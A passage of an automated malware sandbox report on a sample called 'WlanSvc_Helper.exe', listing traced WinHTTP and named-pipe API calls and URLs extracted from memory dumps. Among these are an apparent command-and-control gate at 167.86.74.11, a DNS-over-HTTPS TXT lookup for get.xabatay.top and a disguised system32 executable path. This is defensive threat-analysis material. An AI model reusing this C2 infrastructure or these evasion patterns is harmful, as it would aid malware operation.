parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172881856"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172881968"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209944032"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b01a480" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172881840"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2364b053a70" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209799312"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432209942080"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209797360"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432172882224"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432172220192"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209942032"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648cefb50" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209797312"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648cefb50" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432172881632"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c98b90" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "2432209941808"} "WlanSvc_Helper.exe" called "WinHttpSendRequest" with parameters {"hRequest": "23648c4bdb0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "301" "dwContext": "2432209941712"}57:Tc92,Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "[SRE-Tier1] DoH exception: WinHttpSendRequest: 12030: The connection with the server was terminated abnormally" (Indicator: "HttpSendRequest"; Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp") Found reference to API "[SRE-Tier1] DoH exception: WinHttpSendRequest: 12030: The connection with the server was terminated abnormally" (Indicator: "WinHttpSendRequest"; Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp, 00000000-00006464.00000002.138708.48C5B000.00000004.mdmp") Found reference to API "WinHttpSendRequest: 12030: The connection with the server was terminated abnormally" (Indicator: "HttpSendRequest"; Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found reference to API "WinHttpSendRequest: 12030: The connection with the server was terminated abnormally" (Indicator: "WinHttpSendRequest"; Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp")58:Tbe4,Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpWriteData" (Indicator: "WinHttpWriteData"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpGetDefaultProxyConfiguration" (Indicator: "WinHttpGetDefaultProxyConfiguration"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSetCredentials" (Indicator: "WinHttpSetCredentials"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSetTimeouts" (Indicator: "WinHttpSetTimeouts"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSetStatusCallback" (Indicator: "WinHttpSetStatusCallback"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpQueryAuthSchemes" (Indicator: "WinHttpQueryAuthSchemes"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpQueryOption WINHTTP_OPTION_SERVER_CERT_CONTEXT" (Indicator: "WinHttpQueryOption"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpSetOption request context" (Indicator: "WinHttpSetOption"; File: "WlanSvc_Helper.exe") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "WinHttpWriteData" (Indicator: "WinHttpWriteData"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")59:T7b6,Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; File: "WlanSvc_Helper.exe") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; File: "WlanSvc_Helper.exe") Found reference to API "GetNamedPipeClientProcessId" (Indicator: "GetNamedPipe"; File: "WlanSvc_Helper.exe") Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; File: "WlanSvc_Helper.exe") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; File: "WlanSvc_Helper.exe") Found reference to API "Error: CreatePipe failed." (Indicator: "CreatePipe"; File: "WlanSvc_Helper.exe") Found reference to API "Error: CreatePipe IN failed." (Indicator: "CreatePipe"; File: "WlanSvc_Helper.exe") Found reference to API "Error: CreatePipe OUT failed." (Indicator: "CreatePipe"; File: "WlanSvc_Helper.exe") Found reference to API "Error: CreatePipe failed." (Indicator: "CreatePipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "Error: CreatePipe IN failed." (Indicator: "CreatePipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "Error: CreatePipe OUT failed." (Indicator: "CreatePipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found reference to API "GetNamedPipeClientProcessId" (Indicator: "GetNamedPipe"; Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp")5a:T7f35,Found URL "http://[-]" - Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found URL "https://[sre-tier2]" - Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found URL "https://api.github.com/repos/bearer" - Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found URL "https://gitlab.com/api/v4/projects/[sre-tier3]" - Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found URL "https://t.me/s/[sre-tier4/5]" - Source: "00000000-00006464.00000000.134867.41C39000.00000002.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ti" - Source: "00000000-00006464.00000001.136789.48C13000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000001.136789.48C29000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000001.136789.48C48000.00000004.mdmp") Found URL "http://167.86.74.11:80/api/v3/gatemicrosoft" - Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=get.xabatay.top&type=txtmicrosoft" - Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000001.136789.48C5B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006464.00000001.136789.48CB7000.00000004.mdmp") Found URL "http://167.86.74.11/cloudflare-dns.comhttp://167.86.74.11/cloudflare-dns.comcloudflare-dns.comcloudflare-dns.comcloudflare-dns.commicrosoft" - Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?0" - Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found URL "http://167.86.74.11/api/v3/gate:m" - Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00006464.00000001.136789.48CC8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006464.00000001.136789.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006464.00000001.136789.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006464.00000001.136789.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006464.00000001.136789.4B000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crlcloudflare-dns.comthawte" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ti" - Source: "00000000-00006464.00000001.136789.4B01C000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ti" - Source: "00000000-00006464.00000002.138708.48C13000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000002.138708.48C29000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000002.138708.48C48000.00000004.mdmp") Found URL "http://167.86.74.11:80/api/v3/gatemicrosoft" - Source: "00000000-00006464.00000002.138708.48C5B000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=get.xabatay.top&type=txtmicrosoft" - Source: "00000000-00006464.00000002.138708.48C5B000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000002.138708.48C5B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006464.00000002.138708.48CB7000.00000004.mdmp") Found URL "http://167.86.74.11/cloudflare-dns.comhttp://167.86.74.11/cloudflare-dns.comcloudflare-dns.comcloudflare-dns.comcloudflare-dns.com\??\c:\windows\system32\winmgmt_task.exe\??\c:\windows\system32\winmgmt_task.exemicrosoft" - Source: "00000000-00006464.00000002.138708.48CC8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006464.00000002.138708.48CC8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?0" - Source: "00000000-00006464.00000002.138708.48CC8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006464.00000002.138708.48CC8000.00000004.mdmp") Found URL "http://167.86.74.11/api/v3/gate:m" - Source: "00000000-00006464.00000002.138708.48CC8000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00006464.00000002.138708.48CC8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006464.00000002.138708.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006464.00000002.138708.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006464.00000002.138708.4B000000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006464.00000002.138708.4B000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crlcloudflare-dns.comthawte" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ti" - Source: "00000000-00006464.00000002.138708.4B01C000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0ti" - Source: "00000000-00006464.00000003.144214.48C13000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000003.144214.48C29000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0v" - Source: "00000000-00006464.00000003.144214.48C48000.00000004.mdmp") Found URL "http://167.86.74.11:80/api/v3/gatemicrosoft" - Source: "00000000-00006464.00000003.144214.48C5B000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=get.xabatay.top&type=txtmicrosoft" - Source: "00000000-00006464.00000003.144214.48C5B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006464.00000003.144214.48CB7000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: 